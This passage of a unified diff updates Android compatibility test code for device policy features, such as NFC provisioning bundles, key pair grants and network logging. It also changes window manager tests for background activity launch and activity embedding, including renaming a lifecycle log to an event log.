- public void setAndRemoveDeviceOwnerRepeatedly_doesNotThrowError() {
- try (TestAppInstance dpcInstance = sDpcApp.install()) {
- ComponentName dpcComponentName = new ComponentName(sDpcApp.packageName(),
- sDpcApp.packageName() + ".DeviceAdminReceiver");
-
- for (int i = 0; i < 100; i++) {
- DeviceOwner deviceOwner = TestApis.devicePolicy().setDeviceOwner(dpcComponentName);
- deviceOwner.remove();
- }
- }
- }
-
- @Test
- @EnsureHasNoDpc
- @EnsureHasNoWorkProfile
- @RequireRunOnPrimaryUser
- public void setAndRemoveProfileOwnerRepeatedly_doesNotThrowError() {
- try (UserReference profile = TestApis.users().createUser().createAndStart()) {
- try (TestAppInstance dpcInstance = sDpcApp.install(profile)) {
- ComponentName dpcComponentName = new ComponentName(sDpcApp.packageName(),
- sDpcApp.packageName() + ".DeviceAdminReceiver");
-
- for (int i = 0; i < 100; i++) {
- ProfileOwner profileOwner = TestApis.devicePolicy().setProfileOwner(
- profile, dpcComponentName);
-
- profileOwner.remove();
- }
- }
- }
- }
-
@RequireRunOnPrimaryUser
@EnsureHasNoDpc
@RequireFeature(FEATURE_DEVICE_ADMIN)
@@ -933,8 +902,9 @@
sDevicePolicyManager.createProvisioningIntentFromNfcIntent(nfcIntent);
assertThat(provisioningIntent).isNotNull();
- assertThat(provisioningBundleToMap(provisioningIntent.getExtras()))
- .containsAtLeastEntriesIn(NFC_DATA_VALID);
+ assertThat(provisioningIntent.getAction())
+ .isEqualTo(DevicePolicyManager.ACTION_PROVISION_MANAGED_DEVICE_FROM_TRUSTED_SOURCE);
+ assertBundlesEqual(provisioningIntent.getExtras(), createExpectedValidBundle());
}
@Test
@@ -957,8 +927,9 @@
sDevicePolicyManager.createProvisioningIntentFromNfcIntent(nfcIntent);
assertThat(provisioningIntent).isNotNull();
- assertThat(provisioningBundleToMap(provisioningIntent.getExtras()))
- .containsAtLeastEntriesIn(NFC_DATA_WITH_COMPONENT_NAME);
+ assertThat(provisioningIntent.getAction())
+ .isEqualTo(DevicePolicyManager.ACTION_PROVISION_MANAGED_DEVICE_FROM_TRUSTED_SOURCE);
+ assertBundlesEqual(provisioningIntent.getExtras(), EXPECTED_BUNDLE_WITH_COMPONENT_NAME);
}
@Test
@@ -970,8 +941,9 @@
sDevicePolicyManager.createProvisioningIntentFromNfcIntent(nfcIntent);
assertThat(provisioningIntent).isNotNull();
- assertThat(provisioningBundleToMap(provisioningIntent.getExtras()))
- .containsAtLeastEntriesIn(NFC_DATA_WITH_ADMIN_PACKAGE_NAME);
+ assertThat(provisioningIntent.getAction())
+ .isEqualTo(DevicePolicyManager.ACTION_PROVISION_MANAGED_DEVICE_FROM_TRUSTED_SOURCE);
+ assertBundlesEqual(provisioningIntent.getExtras(), EXPECTED_BUNDLE_WITH_PACKAGE_NAME);
}
@Test
@@ -1036,7 +1008,7 @@
}
private static HashMap<String, String> createNfcIntentData() {
- HashMap<String, String> nfcIntentInput = new HashMap<String, String>();
+ HashMap<String, String> nfcIntentInput = new HashMap<>();
nfcIntentInput.putAll(
Map.of(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME, NFC_INTENT_COMPONENT_NAME,
EXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME, NFC_INTENT_PACKAGE_NAME,
@@ -1044,9 +1016,10 @@
EXTRA_PROVISIONING_TIME_ZONE, NFC_INTENT_TIMEZONE,
EXTRA_PROVISIONING_WIFI_SSID, NFC_INTENT_WIFI_SSID,
EXTRA_PROVISIONING_WIFI_SECURITY_TYPE, NFC_INTENT_WIFI_SECURITY_TYPE,
- EXTRA_PROVISIONING_WIFI_PASSWORD, NFC_INTENT_WIFI_PASSWORD)
+ EXTRA_PROVISIONING_WIFI_PASSWORD, NFC_INTENT_WIFI_PASSWORD,
+ EXTRA_PROVISIONING_ADMIN_EXTRAS_BUNDLE, createAdminExtrasProperties(),
+ EXTRA_PROVISIONING_ROLE_HOLDER_EXTRAS_BUNDLE, createRoleHolderExtrasProperties())
);
-
return nfcIntentInput;
}
@@ -1075,22 +1048,6 @@
return nfcIntent;
}
- private Map<String, String> provisioningBundleToMap(Bundle bundle) {
- Map<String, String> map = new HashMap();
-
- for (String key : bundle.keySet()) {
- if(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME.equals(key)) {
- ComponentName componentName = bundle.getParcelable(key);
- map.put(key, componentName.getPackageName() + "/" + componentName.getClassName());
- }
- else {
- map.put(key, bundle.getString(key));
- }
- }
-
- return map;
- }
-
private NdefMessage createNdefMessage(Map<String, String> provisioningValues, String mime)
throws IOException {
ByteArrayOutputStream stream = new ByteArrayOutputStream();
@@ -1106,6 +1063,58 @@
return new NdefMessage(new NdefRecord[]{record});
}
+ private static PersistableBundle createAdminExtrasBundle() {
+ PersistableBundle result = new PersistableBundle();
+ result.putString("admin-extras-key", "admin extras value");
+ return result;
+ }
+
+ private static String createAdminExtrasProperties() {
+ return "admin-extras-key=admin extras value\n";
+ }
+
+ private static PersistableBundle createRoleHolderExtrasBundle() {
+ PersistableBundle result = new PersistableBundle();
+ result.putString("role-holder-extras-key", "role holder extras value");
+ return result;
+ }
+
+ private static String createRoleHolderExtrasProperties() {
+ return "role-holder-extras-key=role holder extras value\n";
+ }
+
+ private static Bundle createExpectedBundleWithComponentName() {
+ Bundle bundle = new Bundle();
+ bundle.putParcelable(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
+ ComponentName.unflattenFromString(NFC_INTENT_COMPONENT_NAME));
+ bundle.putInt(EXTRA_PROVISIONING_TRIGGER, PROVISIONING_TRIGGER_NFC);
+ return bundle;
+ }
+
+ private static Bundle createExpectedBundleWithPackageName() {
+ Bundle bundle = new Bundle();
+ bundle.putString(EXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME, NFC_INTENT_PACKAGE_NAME);
+ bundle.putInt(EXTRA_PROVISIONING_TRIGGER, PROVISIONING_TRIGGER_NFC);
+ return bundle;
+ }
+
+ private static Bundle createExpectedValidBundle() {
+ Bundle bundle = new Bundle();
+ bundle.putParcelable(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
+ ComponentName.unflattenFromString(NFC_INTENT_COMPONENT_NAME));
+ bundle.putString(EXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME, NFC_INTENT_PACKAGE_NAME);
+ bundle.putString(EXTRA_PROVISIONING_LOCALE, NFC_INTENT_LOCALE);
+ bundle.putString(EXTRA_PROVISIONING_TIME_ZONE, NFC_INTENT_TIMEZONE);
+ bundle.putString(EXTRA_PROVISIONING_WIFI_SSID, NFC_INTENT_WIFI_SSID);
+ bundle.putString(EXTRA_PROVISIONING_WIFI_SECURITY_TYPE, NFC_INTENT_WIFI_SECURITY_TYPE);
+ bundle.putString(EXTRA_PROVISIONING_WIFI_PASSWORD, NFC_INTENT_WIFI_PASSWORD);
+ bundle.putParcelable(EXTRA_PROVISIONING_ADMIN_EXTRAS_BUNDLE, ADMIN_EXTRAS_BUNDLE);
+ bundle.putParcelable(EXTRA_PROVISIONING_ROLE_HOLDER_EXTRAS_BUNDLE,
+ ROLE_HOLDER_EXTRAS_BUNDLE);
+ bundle.putInt(EXTRA_PROVISIONING_TRIGGER, PROVISIONING_TRIGGER_NFC);
+ return bundle;
+ }
+
@Postsubmit(reason = "New test")
@Test
@EnsureDoesNotHavePermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)
@@ -1559,14 +1568,6 @@
sDevicePolicyManager.getDevicePolicyManagementRoleHolderPackage();
}
- private static PersistableBundle createAdminExtrasBundle() {
- PersistableBundle result = new PersistableBundle();
- result.putString("key1", "value1");
- result.putInt("key2", 2);
- result.putBoolean("key3", true);
- return result;
- }
-
private static void assertBundlesEqual(BaseBundle bundle1, BaseBundle bundle2) {
if (bundle1 != null) {
assertWithMessage("Intent bundles are not equal")
@@ -1574,9 +1575,19 @@
assertWithMessage("Intent bundles are not equal")
.that(bundle1.keySet().size()).isEqualTo(bundle2.keySet().size());
for (String key : bundle1.keySet()) {
- assertWithMessage("Intent bundles are not equal")
- .that(bundle1.get(key))
- .isEqualTo(bundle2.get(key));
+ if (bundle1.get(key) != null && bundle1.get(key) instanceof PersistableBundle) {
+ assertWithMessage("Intent bundles are not equal")
+ .that(bundle2.containsKey(key)).isTrue();
+ assertWithMessage("Intent bundles are not equal")
+ .that(bundle2.get(key)).isInstanceOf(PersistableBundle.class);
+ assertBundlesEqual(
+ (PersistableBundle) bundle1.get(key),
+ (PersistableBundle) bundle2.get(key));
+ } else {
+ assertWithMessage("Intent bundles are not equal")
+ .that(bundle1.get(key))
+ .isEqualTo(bundle2.get(key));
+ }
}
} else {
assertWithMessage("Intent bundles are not equal").that(bundle2).isNull();
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/KeyManagementTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/KeyManagementTest.java
index 43749c9..e1512d0 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/KeyManagementTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/KeyManagementTest.java
@@ -38,6 +38,8 @@
import com.android.bedstead.harrier.policies.KeyManagement;
import com.android.bedstead.harrier.policies.KeySelection;
import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.packages.ProcessReference;
+import com.android.bedstead.nene.utils.Poll;
import com.android.compatibility.common.util.BlockingCallback;
import com.android.compatibility.common.util.FakeKeys;
@@ -417,9 +419,14 @@
sDeviceState.dpcOnly().devicePolicyManager().installKeyPair(
sDeviceState.dpcOnly().componentName(), PRIVATE_KEY, CERTIFICATES,
RSA_ALIAS, /* requestAccess= */ true);
+ ProcessReference dpcProcess =
+ Poll.forValue("DPC Uid", () -> sDeviceState.dpcOnly().process())
+ .toNotBeNull()
+ .errorOnFail()
+ .await();
assertThat(sDeviceState.dpc().devicePolicyManager().getKeyPairGrants(RSA_ALIAS))
- .isEqualTo(Map.of(sDeviceState.dpcOnly().process().uid(),
+ .isEqualTo(Map.of(dpcProcess.uid(),
singleton(sDeviceState.dpcOnly().packageName())));
} finally {
// Remove keypair
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/NetworkLoggingTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/NetworkLoggingTest.java
index 68c07de..fad7144 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/NetworkLoggingTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/NetworkLoggingTest.java
@@ -36,6 +36,7 @@
import com.android.bedstead.metricsrecorder.truth.MetricQueryBuilderSubject;
import com.android.bedstead.nene.TestApis;
import com.android.bedstead.nene.permissions.PermissionContext;
+import com.android.bedstead.nene.utils.Flake;
import org.junit.AssumptionViolatedException;
import org.junit.ClassRule;
@@ -110,7 +111,8 @@
connectToWebsite(url);
}
- TestApis.devicePolicy().forceNetworkLogs();
+ // TODO(b/232738120): Figure out why it's not reliably received
+ Flake.repeat(() -> TestApis.devicePolicy().forceNetworkLogs());
long batchToken = waitForBatchToken();
@@ -210,7 +212,10 @@
for (String url : URL_LIST) {
connectToWebsite(url);
}
- TestApis.devicePolicy().forceNetworkLogs();
+
+ // TODO(b/232738120): Figure out why it's not reliably received
+ Flake.repeat(() -> TestApis.devicePolicy().forceNetworkLogs());
+
long batchToken = waitForBatchToken();
sDeviceState.dpc().devicePolicyManager().retrieveNetworkLogs(
@@ -227,4 +232,4 @@
sDeviceState.dpc().componentName(), false);
}
}
-}
+}
\ No newline at end of file
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java
index 991bf1c..e612d05 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java
@@ -32,6 +32,7 @@
import com.android.bedstead.harrier.BedsteadJUnit4;
import com.android.bedstead.harrier.DeviceState;
import com.android.bedstead.harrier.annotations.EnsureScreenIsOn;
+import com.android.bedstead.harrier.annotations.EnsureUnlocked;
import com.android.bedstead.harrier.annotations.Postsubmit;
import com.android.bedstead.harrier.annotations.SlowApiTest;
import com.android.bedstead.harrier.annotations.enterprise.CanSetPolicyTest;
@@ -124,6 +125,7 @@
@PolicyDoesNotApplyTest(policy = ScreenCaptureDisabled.class)
@Postsubmit(reason = "new test")
@EnsureScreenIsOn
+ @EnsureUnlocked
public void setScreenCaptureDisabled_true_screenCaptureWorks() {
mDevicePolicyManager.setScreenCaptureDisabled(mAdmin, true);
@@ -134,6 +136,7 @@
@Postsubmit(reason = "new test")
@SlowApiTest("Screenshot policy can take minutes to propagate")
@EnsureScreenIsOn
+ @EnsureUnlocked
public void setScreenCaptureDisabled_true_screenCaptureFails() {
mDevicePolicyManager.setScreenCaptureDisabled(mAdmin, true);
@@ -143,6 +146,7 @@
@PolicyAppliesTest(policy = ScreenCaptureDisabled.class)
@Postsubmit(reason = "new test")
@EnsureScreenIsOn
+ @EnsureUnlocked
public void setScreenCaptureDisabled_false_screenCaptureWorks() {
mDevicePolicyManager.setScreenCaptureDisabled(mAdmin, false);
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java
index 82195db..fcf71d0 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/UserControlDisabledPackagesTest.java
@@ -40,6 +40,7 @@
import com.android.bedstead.harrier.annotations.enterprise.CanSetPolicyTest;
import com.android.bedstead.harrier.annotations.enterprise.CannotSetPolicyTest;
import com.android.bedstead.harrier.annotations.enterprise.PolicyAppliesTest;
+import com.android.bedstead.harrier.annotations.enterprise.PolicyDoesNotApplyTest;
import com.android.bedstead.harrier.policies.UserControlDisabledPackages;
import com.android.bedstead.metricsrecorder.EnterpriseMetricsRecorder;
import com.android.bedstead.nene.TestApis;
@@ -175,9 +176,10 @@
DPC_COMPONENT_NAME);
String testAppPackageName = sTestApp.packageName();
- sDeviceState.dpc().devicePolicyManager().setUserControlDisabledPackages(DPC_COMPONENT_NAME,
- Arrays.asList(testAppPackageName));
try (TestAppInstance instance = sTestApp.install()) {
+ sDeviceState.dpc().devicePolicyManager().setUserControlDisabledPackages(
+ DPC_COMPONENT_NAME, Arrays.asList(testAppPackageName));
+
instance.activities().any().start();
sActivityManager.forceStopPackage(testAppPackageName);
@@ -194,6 +196,36 @@
}
}
+ @EnsureHasPermission(value = permission.FORCE_STOP_PACKAGES)
+ @PolicyDoesNotApplyTest(policy = UserControlDisabledPackages.class)
+ @Postsubmit(reason = "new test")
+ public void setUserControlDisabledPackages_launchActivity_verifyPackageStopped()
+ throws Exception {
+ List<String> originalDisabledPackages =
+ sDeviceState.dpc().devicePolicyManager().getUserControlDisabledPackages(
+ DPC_COMPONENT_NAME);
+ String testAppPackageName = sTestApp.packageName();
+
+ try (TestAppInstance instance = sTestApp.install()) {
+ sDeviceState.dpc().devicePolicyManager().setUserControlDisabledPackages(
+ DPC_COMPONENT_NAME, Arrays.asList(testAppPackageName));
+
+ instance.activities().any().start();
+
+ sActivityManager.forceStopPackage(testAppPackageName);
+
+ try {
+ assertPackageStopped(testAppPackageName);
+ } finally {
+ stopPackage(sTestApp.pkg());
+ }
+ } finally {
+ sDeviceState.dpc().devicePolicyManager().setUserControlDisabledPackages(
+ DPC_COMPONENT_NAME,
+ originalDisabledPackages);
+ }
+ }
+
private void stopPackage(Package pkg) throws Exception {
sDeviceState.dpc().devicePolicyManager().setUserControlDisabledPackages(DPC_COMPONENT_NAME,
Collections.emptyList());
@@ -201,9 +233,15 @@
pkg.forceStop();
}
+ private void assertPackageStopped(String packageName)
+ throws Exception {
+ assertWithMessage("Package %s not stopped", packageName)
+ .that(isPackageStopped(packageName)).isTrue();
+ }
+
private void assertPackageNotStopped(String packageName)
throws Exception {
- assertWithMessage("Package %s not stopped for", packageName)
+ assertWithMessage("Package %s stopped", packageName)
.that(isPackageStopped(packageName)).isFalse();
}
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index f714f77..9920ad2 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -73,7 +73,7 @@
android:process=":SecondProcess"
android:exported="true"/>
- <provider android:name="android.server.wm.lifecycle.LifecycleLog"
+ <provider android:name="android.server.wm.lifecycle.EventLog"
android:authorities="android.server.wm.lifecycle.logprovider"
android:exported="true"/>
@@ -417,6 +417,9 @@
<activity android:name="android.server.wm.WindowInputTests$TestActivity" />
+ <activity android:name="android.server.wm.ActivityRecordInputSinkTestsActivity"
+ android:exported="true"/>
+
<service android:name="android.view.cts.surfacevalidator.LocalMediaProjectionService"
android:foregroundServiceType="mediaProjection"
android:enabled="true">
diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
index ce82131..94c1f1a 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
@@ -1,4 +1,4 @@
-/*d
+/*
* Copyright (C) 2019 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
@@ -73,7 +73,6 @@
import android.os.UserManager;
import android.platform.test.annotations.Presubmit;
import android.platform.test.annotations.SystemUserOnly;
-import android.server.wm.backgroundactivity.appa.Components;
import android.server.wm.backgroundactivity.appa.IBackgroundActivityTestService;
import android.server.wm.backgroundactivity.common.CommonComponents.Event;
import android.server.wm.backgroundactivity.common.EventReceiver;
@@ -170,8 +169,13 @@
// We do this before anything else, because having an active device owner can prevent us
// from being able to force stop apps. (b/142061276)
runWithShellPermissionIdentity(() -> {
- runShellCommand("dpm remove-active-admin --user current "
+ runShellCommand("dpm remove-active-admin --user 0 "
+ APP_A_SIMPLE_ADMIN_RECEIVER.flattenToString());
+ if (UserManager.isHeadlessSystemUserMode()) {
+ // Must also remove the PO from current user
+ runShellCommand("dpm remove-active-admin --user cur "
+ + APP_A_SIMPLE_ADMIN_RECEIVER.flattenToString());
+ }
});
stopTestPackage(TEST_PACKAGE_APP_A);
@@ -712,9 +716,11 @@
}
private void clickAllowBindWidget(ResultReceiver resultReceiver) throws Exception {
- // Test on non-auto devices only as auto doesn't support appwidget bind.
- Assume.assumeFalse(mContext.getPackageManager().hasSystemFeature(
- PackageManager.FEATURE_AUTOMOTIVE));
+ PackageManager pm = mContext.getPackageManager();
+ // Skip on auto and TV devices only as they don't support appwidget bind.
+ Assume.assumeFalse(pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
+ Assume.assumeFalse(pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY));
+
// Create appWidgetId so we can send it to appA, to request bind widget and start config
// activity.
UiDevice device = UiDevice.getInstance(mInstrumentation);
@@ -734,7 +740,6 @@
// Find settings package and bind widget activity and click the create button.
String settingsPkgName = "";
- PackageManager pm = mContext.getPackageManager();
List<ResolveInfo> ris = pm.queryIntentActivities(appWidgetIntent,
PackageManager.MATCH_DEFAULT_ONLY);
for (ResolveInfo ri : ris) {
diff --git a/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml b/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml
index 27f2870..70c0190 100644
--- a/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml
@@ -45,7 +45,7 @@
/>
<!-- The provider properties must match the shared one defined in the util module. -->
- <provider android:name="android.server.wm.lifecycle.LifecycleLog"
+ <provider android:name="android.server.wm.lifecycle.EventLog"
android:authorities="android.server.wm.lifecycle.logprovider"
android:exported="true"/>
</application>
diff --git a/tests/framework/base/windowmanager/jetpack/SignedApp/src/android/server/wm/jetpack/signed/SignedEmbeddingActivity.java b/tests/framework/base/windowmanager/jetpack/SignedApp/src/android/server/wm/jetpack/signed/SignedEmbeddingActivity.java
index d2f6f2b..b332543 100644
--- a/tests/framework/base/windowmanager/jetpack/SignedApp/src/android/server/wm/jetpack/signed/SignedEmbeddingActivity.java
+++ b/tests/framework/base/windowmanager/jetpack/SignedApp/src/android/server/wm/jetpack/signed/SignedEmbeddingActivity.java
@@ -22,11 +22,13 @@
import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.startActivityCrossUidInSplit;
import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
import static android.server.wm.jetpack.utils.ExtensionUtil.getWindowExtensions;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.EXTRA_EMBED_ACTIVITY;
import static org.junit.Assume.assumeNotNull;
import android.app.Activity;
import android.content.ComponentName;
+import android.content.Intent;
import android.os.Bundle;
import android.server.wm.jetpack.utils.TestActivityKnownEmbeddingCerts;
import android.server.wm.jetpack.utils.TestValueCountConsumer;
@@ -52,6 +54,21 @@
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
+ if (getIntent().getBooleanExtra(EXTRA_EMBED_ACTIVITY, false)) {
+ startActivityInSplit();
+ }
+ }
+
+ @Override
+ protected void onNewIntent(Intent intent) {
+ super.onNewIntent(intent);
+
+ if (intent.getBooleanExtra(EXTRA_EMBED_ACTIVITY, false)) {
+ startActivityInSplit();
+ }
+ }
+
+ void startActivityInSplit() {
ActivityEmbeddingComponent embeddingComponent;
try {
assumeExtensionSupportedDevice();
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingCrossUidTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingCrossUidTests.java
index 0092ed2..aa79a5d 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingCrossUidTests.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingCrossUidTests.java
@@ -120,12 +120,14 @@
/**
* Tests that embedding an activity across UIDs is allowed if an activity requires a
- * permission that the host has.
+ * certificate that the host has.
*/
@Test
public void testCrossUidActivityEmbeddingIsAllowedWithPermission() {
// Start an activity that will attempt to embed TestActivityKnownEmbeddingCerts
- startActivityNewTask(SIGNED_EMBEDDING_ACTIVITY);
+ Bundle extras = new Bundle();
+ extras.putBoolean(EXTRA_EMBED_ACTIVITY, true);
+ startActivityNoWait(mContext, SIGNED_EMBEDDING_ACTIVITY, extras);
waitAndAssertResumed(EMBEDDED_ACTIVITY_ID);
TestActivityWithId embeddedActivity = getResumedActivityById(EMBEDDED_ACTIVITY_ID);
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLifecycleTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLifecycleTests.java
index 2ad5b78..98cfb2b 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLifecycleTests.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLifecycleTests.java
@@ -28,9 +28,9 @@
import static android.server.wm.lifecycle.LifecycleConstants.ON_RESUME;
import static android.server.wm.lifecycle.LifecycleConstants.ON_START;
import static android.server.wm.lifecycle.LifecycleConstants.ON_STOP;
-import static android.server.wm.lifecycle.LifecycleVerifier.assertOrder;
-import static android.server.wm.lifecycle.LifecycleVerifier.checkOrder;
-import static android.server.wm.lifecycle.LifecycleVerifier.transition;
+import static android.server.wm.lifecycle.TransitionVerifier.assertOrder;
+import static android.server.wm.lifecycle.TransitionVerifier.checkOrder;
+import static android.server.wm.lifecycle.TransitionVerifier.transition;
import static androidx.window.extensions.embedding.SplitRule.FINISH_ALWAYS;
import static androidx.window.extensions.embedding.SplitRule.FINISH_NEVER;
@@ -44,9 +44,9 @@
import android.server.wm.jetpack.utils.TestActivityWithId2;
import android.server.wm.jetpack.utils.TestConfigChangeHandlingActivity;
import android.server.wm.jetpack.utils.TestValueCountConsumer;
-import android.server.wm.lifecycle.LifecycleLog;
-import android.server.wm.lifecycle.LifecycleLog.LifecycleLogClient;
-import android.server.wm.lifecycle.LifecycleTracker;
+import android.server.wm.lifecycle.EventLog;
+import android.server.wm.lifecycle.EventLog.EventLogClient;
+import android.server.wm.lifecycle.EventTracker;
import android.util.Pair;
import androidx.test.ext.junit.runners.AndroidJUnit4;
@@ -71,9 +71,9 @@
private static final String TEST_OWNER = "TEST_OWNER";
private static final String ON_SPLIT_STATES_UPDATED = "ON_SPLIT_STATES_UPDATED";
- private LifecycleLogClient mLifecycleLogClient;
- private LifecycleLog mLifecycleLog;
- private LifecycleTracker mLifecycleTracker;
+ private EventLogClient mEventLogClient;
+ private EventLog mEventLog;
+ private EventTracker mLifecycleTracker;
private LifecycleCallbacks mLifecycleCallbacks;
@Override
@@ -82,26 +82,26 @@
mSplitInfoConsumer = new SplitInfoLifecycleConsumer<>();
mActivityEmbeddingComponent.setSplitInfoCallback(mSplitInfoConsumer);
- mLifecycleLogClient = LifecycleLogClient.create(TEST_OWNER,
+ mEventLogClient = EventLogClient.create(TEST_OWNER,
mInstrumentation.getTargetContext());
// Log transitions for all activities that belong to this app.
- mLifecycleLog = new LifecycleLog();
- mLifecycleLog.clear();
+ mEventLog = new EventLog();
+ mEventLog.clear();
// Track transitions and allow waiting for pending activity states.
- mLifecycleTracker = new LifecycleTracker(mLifecycleLog);
+ mLifecycleTracker = new EventTracker(mEventLog);
mLifecycleCallbacks = new LifecycleCallbacks();
- ((Application) mInstrumentation.getContext().getApplicationContext())
- .registerActivityLifecycleCallbacks(mLifecycleCallbacks);
+ mApplication.registerActivityLifecycleCallbacks(mLifecycleCallbacks);
}
@Override
public void tearDown() {
super.tearDown();
- ((Application) mInstrumentation.getContext().getApplicationContext())
- .unregisterActivityLifecycleCallbacks(mLifecycleCallbacks);
- mLifecycleLogClient.close();
+ mApplication.unregisterActivityLifecycleCallbacks(mLifecycleCallbacks);
+ if (mEventLogClient != null) {
+ mEventLogClient.close();
+ }
}
/**
@@ -110,7 +110,6 @@
*/
@Test
public void testSecondaryActivityLaunch_replacing() {
- mLifecycleLog.clear();
Activity primaryActivity = startActivityNewTask(TestConfigChangeHandlingActivity.class);
SplitPairRule splitPairRule = createWildcardSplitPairRuleWithPrimaryActivityClass(
@@ -124,9 +123,9 @@
transition(TestConfigChangeHandlingActivity.class, ON_CREATE),
transition(TestActivityWithId.class, ON_CREATE),
transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED));
- mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected));
- assertOrder(mLifecycleLog, expected, "Init split states");
- mLifecycleLog.clear();
+ mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected));
+ assertOrder(mEventLog, expected, "Init split states");
+ mEventLog.clear();
// Launch a replacing secondary activity
Activity secondaryActivity2 = startActivityAndVerifySplit(primaryActivity,
@@ -136,8 +135,8 @@
transition(TestActivityWithId.class, ON_DESTROY),
transition(TestActivityWithId2.class, ON_CREATE),
transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED));
- mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected2));
- assertOrder(mLifecycleLog, expected2, "Replace secondary container activity");
+ mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected2));
+ assertOrder(mEventLog, expected2, "Replace secondary container activity");
waitAndAssertResumed(primaryActivity);
waitAndAssertResumed(secondaryActivity2);
}
@@ -148,7 +147,6 @@
*/
@Test
public void testSecondaryActivityLaunch_nonReplacing() {
- mLifecycleLog.clear();
Activity primaryActivity = startActivityNewTask(TestConfigChangeHandlingActivity.class);
SplitPairRule splitPairRule = createWildcardSplitPairRuleWithPrimaryActivityClass(
@@ -163,9 +161,9 @@
transition(TestConfigChangeHandlingActivity.class, ON_CREATE),
transition(TestActivityWithId.class, ON_CREATE),
transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED));
- mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected));
- assertOrder(mLifecycleLog, expected, "Init split states");
- mLifecycleLog.clear();
+ mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected));
+ assertOrder(mEventLog, expected, "Init split states");
+ mEventLog.clear();
// Launch a secondary activity on top
Activity secondaryActivity2 = startActivityAndVerifySplit(primaryActivity,
@@ -175,8 +173,8 @@
transition(TestActivityWithId.class, ON_PAUSE),
transition(TestActivityWithId2.class, ON_CREATE),
transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED));
- mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected2));
- assertOrder(mLifecycleLog, expected2, "Launch second secondary activity");
+ mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected2));
+ assertOrder(mEventLog, expected2, "Launch second secondary activity");
waitAndAssertResumed(primaryActivity);
waitAndAssertResumed(secondaryActivity2);
waitAndAssertNotVisible(secondaryActivity1);
@@ -187,7 +185,6 @@
*/
@Test
public void testSecondaryActivityLaunch_multiSplit() {
- mLifecycleLog.clear();
Activity primaryActivity = startActivityNewTask(TestConfigChangeHandlingActivity.class);
SplitPairRule splitPairRule = createWildcardSplitPairRuleWithPrimaryActivityClass(
